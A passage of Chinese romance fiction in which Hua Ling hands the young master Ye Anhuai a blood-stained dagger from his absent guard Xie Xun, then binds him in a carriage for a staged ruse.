“平日里有没有兴趣,来我们楼里打打工?以小姐的姿色,那不得引得客人趋之若鹜,直接艳压群芳!” 叶安淮脸颊蓦地红了,他抽回手,斜眼瞥了眼花翎:“我倒是敢来,就不知道你敢不敢应了。” 他说:“不说这些了,人都准备好了吗?” 花翎讪讪地抽回手,也正色道:“人都给您准备好了,小少爷,您准备何时出发?” “不必再等了,过一会儿就走。”他状似无意间环顾了一下周遭,“解……咳,我的侍卫呢?” 花翎:“他在您走后就没影了,哦对了,他走之前还托我将这个东西交给您防身。” 她捧着那柄匕首,递到了叶安淮的面前。 叶安淮也看见了那匕首上的血痕,微微蹙眉,却没说什么,将匕首收入怀中,嘀咕道:“东西给的倒是积极,怎么不知道亲手交给我呢。” 他又不自在地扯了扯衣摆,转身道:“算了,不管他了,我们先走吧。” 叶安淮垂眸,撇了撇唇角,神色中带着一丝不易察觉的委屈:“嘴上还说会一直跟在我身边,结果一转头就没影了……” 花翎轻轻叹了口气,替他理了理衣襟,柔声道:“小少爷,解洵公子自有他的用意。” “或许他比你想象中离你更近呢。” 暮色渐深,低垂的夜幕犹如一层厚重的黑纱笼罩在四周,雅阁中的灯火投下微弱的光。 叶安淮坐上了一辆破旧的马车,他虽然提前知晓车夫是花翎的人,但内心还是抑制不住地有些慌乱。 “小少爷,失礼了。” 花翎说着,走上前来,用一根麻绳绑住了他的四肢,粗糙的绳子摩挲着细腻的皮肤,有些刺痛,细腻的手腕上很快就浮现出一抹淡淡的红痕。 花翎有些犹豫,叶安淮却道:“绑紧一些也没事,毕竟做戏也得做全套,我不疼。” “……好。” 绑好后,叶安淮蜷缩在马车的一角,闭眼深呼吸,定定地道:“那我走了。” 花翎抿了抿唇,第一次发自内心恭敬地朝他行了一躬,低声道:“祝您一切顺利。”